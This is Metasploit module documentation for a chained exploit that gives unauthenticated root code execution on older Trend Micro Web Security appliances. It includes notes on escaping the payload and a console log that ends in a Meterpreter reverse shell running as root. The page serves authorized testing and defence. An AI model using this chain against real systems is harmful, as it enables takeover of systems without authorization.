## Vulnerable Application

This module exploits multiple vulnerabilities together in order to achieve remote code execution in Trend Micro Web Security.
Unauthenticated users can execute a terminal command under the context of the root user.

The specific flaw exists within the `LogSettingHandler` class of administrator interface software. When parsing the `mount_device`
parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage
this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability.

Another specific flaw exists within the proxy service, which listens on port `8080` by default. Unauthenticated users can exploit this
vulnerability to communicate with internal services in the product.

Last but not least a flaw exists within the Apache Solr application, which is installed within the product. When parsing the `file`
parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this
vulnerability to disclose information in the context of the `IWSS` user.

Due to a combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the `root` user.

Versions prior to 6.5 SP2 Patch 4 (Build 1901) are affected.

### Vulnerable Application Installation Steps

Trend Micro Web Security is distrubed as an ISO image by Trend Micro.

The following steps are valid on the CentOS 6 x64 bit operating system.

1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/)
2. Find "InterScan Web Security Virtual Appliance" and click.
3. Go to **Service Pack** section.
4. At the time of writing this documentation, you must see **IWSVA-6.5-SP2-1548-x86_64.iso** next to Download button.
5. Click to the download button and complete installation of ISO.

[https://files.trendmicro.com/products/iwsva/6.5/IWSVA-6.5-SP2-1548-x86_64.iso](https://files.trendmicro.com/products/iwsva/6.5/IWSVA-6.5-SP2-1548-x86_64.iso)

**System settings used for installation:**
- Virtualbox or VMware can be used.
- 8 GB of memory at least.
- 60 GB of disk size at least.

### Why perl wrapper for python stager?

Within the exploit function, you can see a custom Perl wrapper usage for python stager payload. The parameter that contains our payload is
going through escaping (double quotes, backslash, etc) and blacklist checks on the server-side. Most of the cmd payload will not work under
these circumstances.

I love meterpreter <3 Using python dropper, which gives a meterpreter session, with command injection vulnerability requires using a double
quote or Single-Backslash-Single-Single combination.

```
python -c '#{payload.encoded'
"python -c '#{payload.encoded.gsub("'", "'\\\\''")}'"
```

In that specific case, none of these approaches works. The idea is wrapping the python dropper within the perl command that does not
contain any special characters.

## Verification Steps

1. Start `msfconsole`
2. Run `use exploit/linux/http/trendmicro_websecurity_exec`
3. Set `RHOST`
4. Set `LHOST`
5. Run `check`
6. **Verify** that you are seeing `The target is vulnerable.`
7. Run `exploit`
8. You should get a root shell

## Options

## Scenarios

### Trend Micro Web Security 6.5-SP2_Build_Linux_1852

```
msf > use exploit/linux/http/trendmicro_websecurity_exec
msf exploit(linux/http/trendmicro_websecurity_exec) > set RHOSTS 192.168.74.31
RHOSTS => 192.168.74.31
msf exploit(linux/http/trendmicro_websecurity_exec) > set LHOST 172.31.224.186 
LHOST => 172.31.224.186
msf exploit(linux/http/trendmicro_websecurity_exec) > check

[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID : 16
[*] Testing JSESSIONID #0 : 132B2651F070E865A646F3ABA681769A
[+] Awesome !!! JESSIONID #0 is active.
[+] 192.168.74.31:8443 - The target is vulnerable.
msf exploit(linux/http/trendmicro_websecurity_exec) > run

[*] Started reverse TCP handler on 172.31.224.186:4444 
[*] Trying to extract session ID by exploiting reverse proxy service
[+] Extracted number of JSESSIONID : 16
[*] Testing JSESSIONID #0 : 132B2651F070E865A646F3ABA681769A
[+] Awesome !!! JESSIONID #0 is active.
[*] Exploiting command injection vulnerability
[*] Sending stage (53755 bytes) to 172.31.224.1
[*] Meterpreter session 1 opened (172.31.224.186:4444 -> 172.31.224.1:53061) at 2020-06-18 20:10:29 +0300

meterpreter > shell
Process 40116 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),499(iscan)
sh-4.1#
```
